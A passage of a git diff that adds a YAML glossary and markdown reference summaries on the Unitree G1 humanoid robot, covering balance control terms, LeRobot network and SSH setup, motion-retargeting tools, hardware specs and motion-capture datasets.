"stepping_strategy"] + related_topics: ["push-recovery-balance"] + + - term: "hip_strategy" + full_name: "Hip Push Recovery Strategy" + definition: | + Responding to medium perturbations by rapid hip flexion/extension + to shift center of mass back over support. Often combined with arm + countermotion. Response time ~100-200ms. + unit: null + typical_range: null + related_terms: ["push_recovery", "ankle_strategy", "stepping_strategy"] + related_topics: ["push-recovery-balance"] + + - term: "stepping_strategy" + full_name: "Stepping Push Recovery Strategy" + definition: | + Responding to large perturbations by taking a recovery step to + create a new support polygon under the shifted CoM. Most complex + strategy, requires free space for foot placement. + unit: null + typical_range: null + related_terms: ["push_recovery", "ankle_strategy", "hip_strategy", "support_polygon"] + related_topics: ["push-recovery-balance"] + + - term: "residual_policy" + full_name: "Residual Policy" + definition: | + A small correction policy layered on top of a base controller. + Output: a_final = a_base + α * a_residual (α < 1 for safety). + Safest approach for enhancing G1 balance without full controller replacement. + unit: null + typical_range: "α ∈ [0, 1] scaling factor" + related_terms: ["push_recovery", "perturbation_curriculum"] + related_topics: ["push-recovery-balance", "learning-and-ai"] + + - term: "control_barrier_function" + full_name: "Control Barrier Function (CBF)" + definition: | + Safety-critical control theory tool that guarantees a system stays within + a defined safe set: h(x) ≥ 0. Applied to balance (CoM within support + polygon) and collision avoidance. Validated on G1 (arXiv:2502.02858). + unit: null + typical_range: null + related_terms: ["push_recovery", "support_polygon", "qp_solver"] + related_topics: ["push-recovery-balance", "safety-limits"] + + - term: "support_polygon" + full_name: "Support Polygon" + definition: | + Convex hull of all foot contact points on the ground. For static + stability, the CoM projection must remain within this polygon. + Changes shape during walking (single vs. double support phases). + unit: "m^2 (area)" + typical_range: "~0.15-0.25m width (stance dependent)" + related_terms: ["push_recovery", "control_barrier_function"] + related_topics: ["push-recovery-balance", "equations-and-bounds"] + + - term: "perturbation_curriculum" + full_name: "Perturbation Curriculum Training" + definition: | + RL training strategy that applies progressively increasing external + forces to the robot during simulation. Starts with small pushes (10-30N), + increases to large (80-200N). Produces policies robust to real-world pushes. + unit: null + typical_range: "10-200 N push force range" + related_terms: ["push_recovery", "curriculum_learning", "sim_to_real"] + related_topics: ["push-recovery-balance", "learning-and-ai"] + + # ============================================================ + # FRAMEWORKS & LIBRARIES + # ============================================================ + - term: "pinocchio" + full_name: "Pinocchio (Rigid Body Dynamics Library)" + definition: | + Open-source C++/Python library for rigid body dynamics computations. + Provides forward/inverse kinematics, Jacobians, inverse dynamics, + and derivatives. Foundation for model-based WBC. BSD-2 license. + unit: null + typical_range: null + related_terms: ["task_space_inverse_dynamics", "inverse_kinematics", "whole_body_control"] + related_topics: ["whole-body-control", "motion-retargeting"] + + - term: "h2o" + full_name: "H2O: Human-to-Humanoid Teleoperation" + definition: | + Research framework (arXiv:2403.01623) for real-time human-to-humanoid + whole-body teleoperation. RL policy trained to imitate human demonstrations + while maintaining balance. Proves combined mocap + balance paradigm. + unit: null + typical_range: null + related_terms: ["omnih2o", "whole_body_control", "teleoperation"] + related_topics: ["whole-body-control", "motion-retargeting"] + + - term: "omnih2o" + full_name: "OmniH2O: Universal Teleoperation" + definition: | + Extension of H2O (arXiv:2406.08858) supporting multiple input modalities + (VR, RGB camera, mocap). Trains universal policy generalizing across + operators. Supports both real-time teleop and autonomous replay. + unit: null + typical_range: null + related_terms: ["h2o", "whole_body_control", "mocap"] + related_topics: ["whole-body-control", "motion-retargeting"] + + # ============================================================ + # OPERATIONS & TOOLS + # ============================================================ + - term: "lerobot" + full_name: "LeRobot (HuggingFace)" + definition: | + Open-source imitation learning framework. Modified version + (unitree_IL_lerobot) supports G1 dual-arm dexterous hand training. + Supports 29-DOF and 23-DOF G1 configs with gr00t_wbc locomotion. + unit: null + typical_range: null + related_terms: ["xr_teleoperate", "teleoperation"] + related_topics: ["learning-and-ai"] + + - term: "teleoperation" + full_name: "Teleoperation" + definition: | + Remote human control of the robot, typically for data collection. + The G1 supports XR device teleoperation (Vision Pro, PICO 4, + Quest 3) and Kinect body tracking teleoperation. + unit: null + typical_range: null + related_terms: ["xr_teleoperate", "lerobot"] + related_topics: ["manipulation", "learning-and-ai"] + + - term: "xr_teleoperate" + full_name: "XR Teleoperation System" + definition: | + Unitree's official XR-based teleoperation system. Supports Apple + Vision Pro, PICO 4 Ultra, Meta Quest 3. Enables hand/controller + tracking with built-in episode recording for imitation learning. + unit: null + typical_range: null + related_terms: ["teleoperation", "lerobot", "dex3_1"] + related_topics: ["manipulation", "learning-and-ai"] diff --git a/reference/sources/community-lerobot-g1.md b/reference/sources/community-lerobot-g1.md new file mode 100644 index 0000000..b3ff525 --- /dev/null +++ b/reference/sources/community-lerobot-g1.md @@ -0,0 +1,187 @@ +# LeRobot Unitree G1 Documentation (Hugging Face) +**Source:** https://huggingface.co/docs/lerobot/en/unitree_g1 +**Fetched:** 2026-02-13 +**Type:** Community Guide + +--- + +## About + +LeRobot supports both 29 and 23 DOF G1 EDU versions. The integration introduces: + +- **`unitree g1` robot class**, handling low level read/write from/to the humanoid +- **ZMQ socket bridge** for remote communication and camera streaming, allowing for remote policy deployment over WLAN, Ethernet, or directly on the robot +- **Locomotion policies** from NVIDIA gr00t and Amazon FAR Holosoma +- **Simulation mode** for testing policies without the physical robot in MuJoCo + +## Connection Guide + +### Step 1: Configure Ethernet Interface + +Set a static IP on the same subnet as the robot: + +```bash +# Replace 'enp131s0' with your ethernet interface name (check with `ip a`) +sudo ip addr flush dev enp131s0 +sudo ip addr add 192.168.123.200/24 dev enp131s0 +sudo ip link set enp131s0 up +``` + +**Note**: The G1's Ethernet IP is fixed at `192.168.123.164`. Your computer must use `192.168.123.x` with x != 164. + +### Step 2: SSH into the Robot + +```bash +ssh unitree@192.168.123.164 +# Password: 123 +``` + +## Part 2: Enable WiFi on the Robot + +Wlan0 is disabled by default on the G1. To enable it: + +### Step 1: Enable WiFi Hardware + +```bash +sudo rfkill unblock wifi +sudo rfkill unblock all + +# Bring up wlan0 +sudo ip link set wlan0 up + +# Enable NetworkManager control of wlan0 +sudo nmcli radio wifi on +sudo nmcli device set wlan0 managed yes +sudo systemctl restart NetworkManager +``` + +### Step 2: Enable Internet Forwarding + +**On your laptop:** + +```bash +# Enable IP forwarding +sudo sysctl -w net.ipv4.ip_forward=1 + +# Set up NAT (replace wlp132s0f0 with your WiFi interface) +sudo iptables -t nat -A POSTROUTING -o wlp132s0f0 -s 192.168.123.0/24 -j MASQUERADE +sudo iptables -A FORWARD -i wlp132s0f0 -o enp131s0 -m state --state RELATED,ESTABLISHED -j ACCEPT +sudo iptables -A FORWARD -i enp131s0 -o wlp132s0f0 -j ACCEPT +``` + +**On the G1:** + +```bash +# Add laptop as default gateway +sudo ip route del default 2>/dev/null || true +sudo ip route add default via 192.168.123.200 dev eth0 +echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf + +# Test connection +ping -c 3 8.8.8.8 +``` + +### Step 3: Connect to WiFi Network + +```bash +# List available networks +nmcli device wifi list + +# Connect to your WiFi (example) +sudo nmcli connection add type wifi ifname wlan0 con-name "YourNetwork" ssid "YourNetwork" +sudo nmcli connection modify "YourNetwork" wifi-sec.key-mgmt wpa-psk +sudo nmcli connection modify "YourNetwork" wifi-sec.psk "YourPassword" +sudo nmcli connection modify "YourNetwork" connection.autoconnect yes +sudo nmcli connection up "YourNetwork" + +# Check WiFi IP address +ip a show wlan0 +``` + +### Step 4: SSH Over WiFi + +Once connected to WiFi, note the robot's IP address and disconnect the Ethernet cable. You can now SSH over WiFi: + +```bash +ssh unitree@ +# Password: 123 +``` + +## Part 3: Robot Server Setup + +### Step 1: Install LeRobot on the Orin + +SSH into the robot and install LeRobot: + +```bash +ssh unitree@ + +conda create -y -n lerobot python=3.10 +conda activate lerobot +git clone https://github.com/huggingface/lerobot.git +cd lerobot +pip install -e '.[unitree_g1]' +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python && pip install -e . +``` + +**Note**: The Unitree SDK requires CycloneDDS v0.10.2 to be installed. See the [Unitree SDK documentation](https://github.com/unitreerobotics/unitree_sdk2_python) for details. + +### Step 2: Run the Robot Server + +On the robot: + +```bash +python src/lerobot/robots/unitree_g1/run_g1_server.py +``` + +**Important**: Keep this terminal running. The server must be active for remote control. + +## Part 4: Controlling the Robot + +With the robot server running, you can now control the robot remotely. Let's launch a locomotion policy. + +### Step 1: Install LeRobot on your machine + +```bash +conda create -y -n lerobot python=3.10 +conda activate lerobot +git clone https://github.com/huggingface/lerobot.git +cd lerobot +pip install -e '.[unitree_g1]' +git clone https://github.com/unitreerobotics/unitree_sdk2_python.git +cd unitree_sdk2_python && pip install -e . +``` + +### Step 2: Update Robot IP in Config + +Edit the config file to match your robot's WiFi IP: + +```python +# In src/lerobot/robots/unitree_g1/config_unitree_g1.py +robot_ip: str = "" # Replace with your robot's WiFi IP. +``` + +### Step 3: Run the Locomotion Policy + +```bash +# Run GR00T locomotion controller +python examples/unitree_g1/gr00t_locomotion.py --repo-id "nepyope/GR00T-WholeBodyControl_g1" + +# Run Holosoma locomotion controller +python examples/unitree_g1/holosoma_locomotion.py +``` + +Press `Ctrl+C` to stop the policy. + +## Running in Simulation Mode (MuJoCo) + +You can test policies before deploying on the physical robot using MuJoCo. To do so simply set `is_simulation=True` in config. + +## Additional Resources + +- [Unitree SDK Documentation](https://github.com/unitreerobotics/unitree_sdk2_python) +- [GR00T-WholeBodyControl](https://github.com/NVlabs/GR00T-WholeBodyControl) +- [Holosoma](https://github.com/amazon-far/holosoma) +- [LeRobot Documentation](https://github.com/huggingface/lerobot) +- [Unitree_IL_Lerobot](https://github.com/unitreerobotics/unitree_IL_lerobot) diff --git a/reference/sources/community-mocap-retarget-tools.md b/reference/sources/community-mocap-retarget-tools.md new file mode 100644 index 0000000..1dedd87 --- /dev/null +++ b/reference/sources/community-mocap-retarget-tools.md @@ -0,0 +1,214 @@ +# Motion Capture Retargeting Tools for Humanoid Robots +**Source:** Multiple (survey compiled from web search) +**Fetched:** 2026-02-13 +**Type:** Community Survey + +--- + +## Description + +A survey of open-source tools and frameworks for retargeting human motion capture data to humanoid robots, with emphasis on tools applicable to the Unitree G1. Motion retargeting is the process of adapting motion data captured from a human performer to a robot with different body proportions, joint limits, and kinematic structure. + +## Key Features / Contents + +### 1. GMR (General Motion Retargeting) -- RECOMMENDED FOR G1 + +**Repository:** https://github.com/YanjieZe/GMR +**Paper:** ICRA 2026 -- "Retargeting Matters: General Motion Retargeting for Humanoid Motion Tracking" +**License:** Open-source + +The most comprehensive and actively maintained retargeting tool with direct G1 support. + +**Supported Robots (18 platforms)**: +- **Unitree G1** (29 DoF): Leg (12) + Waist (3) + Arm (14) +- **Unitree G1 with Hands** (43 DoF): Adds 14 hand DoF +- **Unitree H1** (19 DoF): Leg (10) + Waist (1) + Arm (8) +- **Unitree H1-2** (27 DoF): Leg (12) + Waist (1) + Arm (14) +- Booster T1, K1; HighTorque Hi; Galexea R1 Pro; KUAVO; Berkeley Humanoid Lite; PAL Talos; and more + +**Supported Input Formats**: +- SMPL-X (AMASS, OMOMO datasets) +- BVH (LAFAN1, Nokov, Xsens) +- FBX (OptiTrack) +- PICO streaming (XRoboToolkit) for real-time retargeting + +**Key Capabilities**: +- Real-time retargeting on CPU +- Addresses foot sliding, ground penetrations, and self-intersections +- Velocity motor limits (default 3pi rad/s) +- CSV export compatible with beyondmimic +- Retargeter for TWIST/TWIST2 teleoperation systems + +**Installation**: +```bash +conda create -n gmr python=3.10 +conda activate gmr +git clone https://github.com/YanjieZe/GMR.git +cd GMR +pip install -e . +# Download SMPL-X body models separately +``` + +--- + +### 2. Rofunc + +**Repository:** https://github.com/Skylark0924/Rofunc +**Docs:** https://rofunc.readthedocs.io/ +**Lab:** CLOVER Lab, CUHK + +Full-process Python package for robot learning from demonstration and manipulation, with built-in retargeting. + +**Features**: +- Motion capture data retargeting to heterogeneous humanoid robots +- Demonstration collection and pre-processing +- LfD (Learning from Demonstration) algorithms +- Planning and control methods +- CURI synergy-based softhand grasping +- Genesis simulator support (December 2024) + +**G1 Relevance**: Supports retargeting to various humanoid embodiments; can be adapted for G1 with appropriate URDF configuration. + +**Installation**: +```bash +pip install rofunc +``` + +--- + +### 3. LocoMuJoCo + +**Repository:** https://github.com/robfiras/loco-mujoco +**Docs:** https://loco-mujoco.readthedocs.io/ +**Paper:** "LocoMuJoCo: A Comprehensive Imitation Learning Benchmark for Locomotion" + +Imitation learning benchmark with extensive retargeted motion datasets. + +**Features**: +- 12 humanoid and 4 quadruped environments +- 4 biomechanical human models +- 22,000+ motion capture datasets (AMASS, LAFAN1, native) retargeted for each humanoid +- **Robot-to-robot retargeting**: Retarget datasets from one robot to another +- Built-in algorithms: PPO, GAIL, AMP, DeepMimic (JAX implementations) +- Three dataset types: real (MoCap), perfect, and preference + +**G1 Relevance**: While primary humanoids are biomechanical models, the robot-to-robot retargeting can transfer to G1. + +**Installation**: +```bash +pip install loco-mujoco +``` + +--- + +### 4. Human2Humanoid / OmniH2O + +**Repository:** https://github.com/LeCAR-Lab/human2humanoid +**Papers:** IROS 2024 ("Learning Human-to-Humanoid Real-Time Whole-Body Teleoperation"), CoRL 2024 ("OmniH2O") + +Real-time whole-body teleoperation and motion transfer from human to humanoid. + +**Features**: +- Real-time human-to-humanoid motion transfer +- Universal and dexterous whole-body teleoperation +- Learning-based approach (not just kinematic retargeting) +- Supports multiple input modalities + +**G1 Relevance**: Demonstrated on humanoid platforms; adaptable to G1 with appropriate configuration. + +--- + +### 5. HoloMotion + +**Repository:** https://github.com/HorizonRobotics/HoloMotion + +Foundation model for whole-body humanoid control. + +**Features**: +- Translates human motion data to robot-specific kinematic data +- Uses GMR internally for retargeting +- Produces optimized HDF5 datasets +- Foundation model approach for generalizable control + +**G1 Relevance**: Built on GMR which directly supports G1. + +--- + +### 6. PhysDiff (Physics-Guided Human Motion Diffusion Model) + +**Project Page:** https://nvlabs.github.io/PhysDiff/ +**Paper:** ICCV 2023 (NVIDIA) + +Not a retargeting tool per se, but generates physically-plausible human motions. + +**Features**: +- Physics-based motion projection module +- Uses motion imitation in physics simulator +- Reduces floating, foot sliding, and ground penetration artifacts (>78% improvement) +- Can be used upstream to generate clean motions before retargeting + +**G1 Relevance**: Generates higher-quality source motions that produce better retargeting results for G1. + +--- + +### 7. Unitree xr_teleoperate (Official) + +**Repository:** https://github.com/unitreerobotics/xr_teleoperate + +Unitree's official teleoperation with built-in hand retargeting. + +**Features**: +- XR device teleoperation (Apple Vision Pro, PICO 4 Ultra Enterprise, Meta Quest 3) +- Dexterous hand retargeting algorithm library +- Support for Inspire and Unitree dexterous hands +- Direct G1 integration + +**G1 Relevance**: First-party tool, purpose-built for G1 teleoperation. + +--- + +### 8. Retargeted Dataset Collections on HuggingFace + +Pre-computed retargeted datasets (no retargeting code needed): + +| Dataset | Source | Robot | Link | +|---------|--------|-------|------| +| AMASS Retargeted for G1 | EMBER Lab, UC Berkeley | G1 (29 DOF) | [HuggingFace](https://huggingface.co/datasets/ember-lab-berkeley/AMASS_Retargeted_for_G1) | +| Retargeted AMASS for Robotics | fleaven | G1, others | [HuggingFace](https://huggingface.co/datasets/fleaven/Retargeted_AMASS_for_robotics) | +| G1 Retargeted Motions | openhe | G1 | [HuggingFace](https://huggingface.co/datasets/openhe/g1-retargeted-motions) | +| LAFAN1 Retargeting | lvhaidong | H1, H1_2, G1 | [HuggingFace](https://huggingface.co/datasets/lvhaidong/LAFAN1_Retargeting_Dataset) | + +## G1 Relevance + +For G1-specific retargeting, the recommended approach is: + +1. **Quick Start**: Use pre-retargeted datasets from HuggingFace (EMBER Lab or fleaven) +2. **Custom Retargeting**: Use GMR with `--robot unitree_g1` for new motion data +3. **Real-time Teleoperation**: Use xr_teleoperate (official) or GMR+TWIST for live retargeting +4. **Training Pipeline**: Feed retargeted data into IsaacLab AMP for locomotion policy training + +### Typical G1 Retargeting Workflow +``` +Human MoCap Data (AMASS/BVH/FBX) + | + v +Retargeting Tool (GMR recommended) + |-- Joint mapping to G1 29-DOF + |-- Enforce joint limits from URDF + |-- Fix ground contact / foot sliding + | + v +G1 Motion Data (numpy/HDF5) + | + v +Training Framework (IsaacLab AMP / LocoMuJoCo) + | + v +Locomotion Policy (deployable on real G1) +``` + +## Related Resources + +- [awesome-humanoid-robot-learning](https://github.com/YanjieZe/awesome-humanoid-robot-learning) - Comprehensive paper list +- [awesome-unitree-robots](https://github.com/shaoxiang/awesome-unitree-robots) - Curated Unitree project collection +- [motion-retargeting GitHub topic](https://github.com/topics/motion-retargeting) - Community projects diff --git a/reference/sources/community-quadruped-de.md b/reference/sources/community-quadruped-de.md new file mode 100644 index 0000000..01c48bc --- /dev/null +++ b/reference/sources/community-quadruped-de.md @@ -0,0 +1,35 @@ +# Unitree G1 Documentation (Quadruped.de) +**Source:** https://www.docs.quadruped.de/projects/g1/html/index.html +**Fetched:** 2026-02-13 +**Type:** Community Guide + +--- + +## Overview + +The Unitree G1 is described as "a groundbreaking quadruped robot engineered for superior agility, versatility, and durability." The platform emphasizes advanced sensing, high-performance computing, and modular design for applications including industrial inspection, search and rescue, and research. + +## Key Technical Specifications + +### Physical Characteristics +- Weight: 35 kg +- Height: 1,270 mm +- Degrees of Freedom: 23-43 (depending on configuration) +- Maximum joint torque: 120 N·m +- Movement speed: Up to 2 m/s + +### Sensing & Perception +The robot features "360 Detection: Equipped with 3D LIDAR and depth camera," along with Intel RealSense D435 cameras and LIVOX-MID360 LIDAR for environmental mapping. + +### Power +- Battery life: Approximately 2 hours +- 13-string lithium battery with quick-release functionality +- 54V 5A charger + +## Model Variants + +The **G1 EDU** offers expandable options (U1-U4) with increasing computational power (40-100 TOPS) and enhanced features like dexterous hands and upgraded waist mobility. + +## Available Resources + +The documentation references sections on operation, ROS driver installation, teleoperation, manipulation, navigation, and troubleshooting, though the complete technical content for these sections was not fully available in the index page. diff --git a/reference/sources/community-robonomics-experience.md b/reference/sources/community-robonomics-experience.md new file mode 100644 index 0000000..a987c77 --- /dev/null +++ b/reference/sources/community-robonomics-experience.md @@ -0,0 +1,24 @@ +# First Two Weeks with Unitree G1 Humanoid Robot (Robonomics) +**Source:** https://robonomics.network/blog/first-two-weeks-with-unitree-humanoid-robot/ +**Fetched:** 2026-02-13 +**Type:** Community Guide + +--- + +## Initial Achievements + +The Robonomics lab successfully connected to the G1 dev unit and established remote access through SSH via Zerotier and Yggdrasil. The team studied the Linux-based onboard system and performed standard DevOps operations, ultimately gaining control capabilities for basic movements like walking, sitting, and standing. + +## Python SDK Experience + +The engineers worked with Python 3.10 in a virtual environment, discovering the SDK requires specific configuration. They noted that "CycloneDDS was pre-installed, it was rebuilt manually without conflicts." A critical finding: the team identified and fixed a bug by adding `self.Start()` to the Move() function in g1_loco_client.py to enable robot movement. + +Key environmental setup requirement: users must set `export CYCLONEDDS_HOME='/home/unitree/cyclonedds/install'` in their bashrc file. + +## ROS 2 Integration + +The team built unitree_ros2 packages with CycloneDDS support and created custom ROS nodes. While controller state reception worked successfully, motion state examples showed empty topics, requiring additional investigation. + +## Identified Challenges + +Major obstacles include understanding the SDK's debug mode functionality, limited advanced movement examples beyond basic actions, and determining optimal technology choice between pure Python or ROS 2 frameworks. The team also plans to investigate cable-based power supply options and reinforcement learning applications for movement control. diff --git a/reference/sources/community-robostore-specs.md b/reference/sources/community-robostore-specs.md new file mode 100644 index 0000000..03c8766 --- /dev/null +++ b/reference/sources/community-robostore-specs.md @@ -0,0 +1,31 @@ +# Unitree G1 EDU Ultimate Technical Specifications (Robostore) +**Source:** https://robostore.com/blogs/news/unitree-g1-edu-ultimate-technical-specifications +**Fetched:** 2026-02-13 +**Type:** Community Guide + +--- + +## Dimensions and Weight + +The robot stands 1.32 m tall, 0.45 m wide, 0.20 m thick when upright, folding to approximately 0.69 m for transport. It weighs roughly 35 kg including battery and features industrial-grade crossed roller bearings at joints. + +## Degrees of Freedom (DOF) + +The Ultimate configuration provides up to 43 total DOF: each leg has 6 DOF, the waist includes 3 DOF, and each arm features 2 wrist axes plus a dexterous hand with 7 DOF. This contrasts with the base model's 23 DOF. + +## Actuators and Power + +Joint motors are permanent magnet synchronous motors (PMSMs). Knee actuators deliver up to 120 N·m of torque, exceeding the base model's 90 N·m. Each arm can handle approximately 3 kg loads. The 13-cell lithium-ion battery (9000 mAh) provides roughly 2 hours of operation per charge and features quick-release capability. + +## Onboard Computing + +An 8-core CPU handles real-time control. The EDU Ultimate includes an NVIDIA Jetson Orin module rated at 100 TOPS for AI tasks including vision processing and speech recognition. Connectivity includes Wi-Fi 6 and Bluetooth 5.2 with over-the-air firmware updates. + +## Sensor Suite + +- Depth camera for forward visual perception +- Top-mounted 3D LiDAR for 360-degree spatial awareness +- Four-microphone array with noise cancellation +- 5W speaker for audio output +- Dual joint encoders per joint +- Inertial Measurement Unit (IMU) diff --git a/reference/sources/community-weston-robot-guide.md b/reference/sources/community-weston-robot-guide.md new file mode 100644 index 0000000..c375f48 --- /dev/null +++ b/reference/sources/community-weston-robot-guide.md @@ -0,0 +1,54 @@ +# G1 Development Guide (Weston Robot) +**Source:** https://docs.westonrobot.com/tutorial/unitree/g1_dev_guide/ +**Fetched:** 2026-02-13 +**Type:** Community Guide + +--- + +## Hardware Overview + +The G1 EDU is a humanoid robot featuring **29 joints** organized into three groups: legs (6 joints each), waist (3 joints), and arms (7 joints each). The knee joint is the most powerful, delivering up to 120 Nm of torque. + +Key hardware components include: +- **Robotic hands** (Dex3-1, Inspire FTP, or Inspire DFX models) +- **3D LIDAR** (Livox Mid-360) for mapping and obstacle detection +- **RGB-D Camera** (RealSense D435i) for visual perception +- **Built-in IMU, microphone array, and speaker** + +### Special Joint Considerations + +The waist can optionally be locked to 1-DOF control, and the ankle joint offers two modes: PR Mode (pitch/roll control) and AB Mode (direct motor control). + +## Electrical Architecture + +The system uses hierarchical connectivity: +- **Locomotion computer**: Handles motor drivers and low-level control (user inaccessible) +- **Development computer**: Jetson Orin NX module for user applications + +The development computer offers multiple interfaces including Ethernet ports, USB Type-C connections, and power outputs (58V, 24V, 12V). + +## Network Setup + +Devices operate on **192.168.123.1/24 subnet** with no DHCP server: +- Development Computer: 192.168.123.164 (unitree/123) +- Locomotion Computer: 192.168.123.161 +- Livox LIDAR: 192.168.123.20 + +Internet access requires either a USB wireless adapter or Ethernet connection through a properly configured router. + +## Software Architecture + +The software stack includes: +- **unitree_sdk2**: C++ library for direct robot control +- **unitree_ros2**: ROS2 interface for compatibility +- Both support high-level (mobility) and low-level (joint) control + +Peripherals like robotic hands require separate drivers and must run on computers directly connected to those devices. + +## Debug Mode + +Activate full control by pressing **L2 + R2** on the remote when the robot is suspended and in damping state. This disables Unitree's locomotion controller. + +## First Steps + +You can run control examples on either the development computer or an external computer connected via Ethernet. The provided `g1_ankle_swing_example` demonstrates low-level joint control without conflicting with standard locomotion. diff --git a/reference/sources/dataset-amass-g1.md b/reference/sources/dataset-amass-g1.md new file mode 100644 index 0000000..feb1358 --- /dev/null +++ b/reference/sources/dataset-amass-g1.md @@ -0,0 +1,110 @@ +# AMASS Dataset Retargeted for Unitree G1 +**Source:** https://huggingface.co/datasets/ember-lab-berkeley/AMASS_Retargeted_for_G1 +**Fetched:** 2026-02-13 +**Type:** Dataset + +--- + +## Description + +The AMASS (Archive of Motion Capture as Surface Shapes) dataset has been retargeted for the Unitree G1 humanoid robot and made available on HuggingFace. Multiple groups have produced retargeted versions, with the two primary datasets being: + +1. **EMBER Lab (UC Berkeley)** - `ember-lab-berkeley/AMASS_Retargeted_for_G1`: Contains 100% of the AMASS dataset retargeted to G1, formatted for IsaacLab's AMP motion loader +2. **fleaven** - `fleaven/Retargeted_AMASS_for_robotics`: Multi-robot retargeted dataset including G1, with detailed joint mapping documentation + +## Key Features / Contents + +### EMBER Lab Dataset +- **Coverage**: 100% of the AMASS dataset retargeted to G1 +- **Size**: 10K-100K motion files +- **Format**: Compatible with IsaacLab's AMP (Adversarial Motion Priors) motion loader and ProtoMotions +- **License**: CC-BY-4.0 +- **Downloads**: ~6,260/month + +### fleaven Retargeted Dataset + +#### Data Format +- **Shape**: `[-1, 36]` (variable-length sequences, 36 parameters per frame) +- **Index layout**: + - `[0:3]` - Root world position (x, y, z) + - `[3:7]` - Root quaternion rotation (x, y, z, w) + - `[7:36]` - 29 joint positions + +#### Joint Order (29 DOF) + +**Lower Body (12 joints)**: +- Left leg: hip_pitch, hip_roll, hip_yaw, knee, ankle_pitch, ankle_roll +- Right leg: hip_pitch, hip_roll, hip_yaw, knee, ankle_pitch, ankle_roll + +**Torso (3 joints)**: +- waist_yaw, waist_roll, waist_pitch + +**Upper Body (14 joints)**: +- Left arm: shoulder_pitch, shoulder_roll, shoulder_yaw, elbow, wrist_roll, wrist_pitch, wrist_yaw +- Right arm: shoulder_pitch, shoulder_roll, shoulder_yaw, elbow, wrist_roll, wrist_pitch, wrist_yaw + +#### Model Source +Based on official Unitree G1 URDF: `g1_29dof_lock_waist_rev_1_0.xml` from `unitreerobotics/unitree_ros` + +#### Constraints +- Joint positions comply with limits defined in the official Unitree G1 XML file +- Waist locked during retargeting (as indicated by model name) +- Elbow and knee joint handling optimized (updated 2025-04-15) + +## G1 Relevance + +These datasets are directly usable for G1 motion learning: + +- **Adversarial Motion Priors (AMP)**: Train G1 locomotion policies that mimic human-like motion +- **IsaacLab Integration**: Drop-in compatible with IsaacLab's `humanoid_amp` task +- **Motion Diversity**: Thousands of motion clips covering walking, running, dancing, sports, and everyday activities +- **29-DOF Configuration**: Matches standard G1 joint configuration exactly +- **Pre-computed**: No need to run retargeting yourself; ready-to-use motion data + +## Installation / Usage + +### Download from HuggingFace +```bash +# EMBER Lab dataset (IsaacLab AMP format) +git lfs install +git clone https://huggingface.co/datasets/ember-lab-berkeley/AMASS_Retargeted_for_G1 + +# fleaven dataset (multi-robot, includes G1) +git clone https://huggingface.co/datasets/fleaven/Retargeted_AMASS_for_robotics +``` + +### Using with IsaacLab AMP +Place motion files in the IsaacLab motions directory: +``` +IsaacLab/source/isaaclab_tasks/isaaclab_tasks/direct/humanoid_amp/motions/ +``` + +### Visualization (fleaven dataset) +```bash +cd Retargeted_AMASS_for_robotics/g1/ +python visualize.py +``` + +### Python Loading Example +```python +import numpy as np + +# Load a motion file +motion = np.load("motion_file.npy") +# motion.shape = (num_frames, 36) + +root_pos = motion[:, 0:3] # xyz position +root_quat = motion[:, 3:7] # quaternion (x,y,z,w) +joint_pos = motion[:, 7:36] # 29 joint angles +``` + +## Related Datasets + +- [openhe/g1-retargeted-motions](https://huggingface.co/datasets/openhe/g1-retargeted-motions) - Another G1 retargeted motion dataset +- [lvhaidong/LAFAN1_Retargeting_Dataset](https://huggingface.co/datasets/lvhaidong/LAFAN1_Retargeting_Dataset) - LAFAN1 data retargeted for H1, H1_2, and G1 +- [fleaven/Retargeted_AMASS_for_FourierN1](https://huggingface.co/datasets/fleaven/Retargeted_AMASS_for_FourierN1) - Same pipeline for Fourier N1 robot + +## Licensing + +- EMBER Lab dataset: CC-BY-4.0 +- fleaven dataset: Must propagate original AMASS sub-dataset licenses; requires citation of AMASS, SMPL-X, and the retargeting project diff --git a/reference/sources/dataset-cmu-mocap.md b/reference/sources/dataset-cmu-mocap.md new file mode 100644 index 0000000..f49b4dd --- /dev/null +++ b/reference/sources/dataset-cmu-mocap.md @@ -0,0 +1,106 @@ +# CMU Motion Capture Database +**Source:** https://mocap.cs.cmu.edu/ +**Fetched:** 2026-02-13 +**Type:** Dataset + +--- + +## Description + +The CMU Motion Capture Database is one of the most widely used and freely available motion capture datasets in robotics and computer graphics. Created by Carnegie Mellon University's Graphics Lab, it contains a large collection of human motion data captured with a professional Vicon system. The database is freely available for research and commercial use and has become a foundational dataset for motion retargeting to humanoid robots. + +## Key Features / Contents + +### Capture Setup +- **System**: 12 Vicon infrared MX-40 cameras +- **Resolution**: 4 megapixel per camera +- **Frame Rate**: 120 Hz +- **Markers**: 41 markers on motion capture suit + +### Dataset Scale +- **Subjects**: 140+ human subjects +- **Trials**: 2,605 motion trials +- **Categories**: 6 major categories, 23 subcategories +- **BVH Files**: 2,548 converted BVH files (with text descriptions) + +### Data Formats + +| Format | Description | Use Case | +|--------|-------------|----------| +| **C3D** | Raw marker position data | Research, custom processing | +| **ASF/AMC** | Acclaim skeleton format (skeleton definition + motion) | Legacy animation, retargeting | +| **BVH** | Biovision Hierarchy format (community conversion) | Most common for robotics retargeting | + +### Motion Categories (Representative) +- Walking, running, jogging +- Jumping, hopping +- Dancing, gymnastics +- Sports (basketball, soccer, baseball, etc.) +- Everyday activities (sitting, standing, reaching) +- Interaction motions (two-person activities) +- Martial arts, acrobatics +- Climbing stairs +- Emotional expressions through body language + +## G1 Relevance + +The CMU MoCap database is a key upstream data source for G1 motion learning: + +- **AMASS Integration**: CMU MoCap is one of the constituent datasets within AMASS, which has been retargeted to G1 (see `dataset-amass-g1.md`) +- **BVH Retargeting**: The BVH format is directly consumable by retargeting tools like GMR, which supports Unitree G1 +- **Locomotion Training**: Walking, running, and stair-climbing data is used to train G1 locomotion policies via Adversarial Motion Priors (AMP) +- **Manipulation Training**: Reaching and grasping motions inform upper-body control policies +- **Baseline Dataset**: Many humanoid motion learning papers use CMU MoCap as their primary training data source + +### Retargeting Pipeline to G1 +``` +CMU MoCap (BVH/ASF+AMC) + -> AMASS (SMPL-X format) + -> Retargeting (GMR / custom scripts) + -> G1 joint angles (29 DOF) + -> IsaacLab AMP training +``` + +## Installation / Usage + +### Accessing the Data + +**Direct Download**: https://mocap.cs.cmu.edu/ +- Browse by subject or motion category +- Download individual trials in C3D or ASF/AMC format + +**BVH Conversion** (cgspeed): 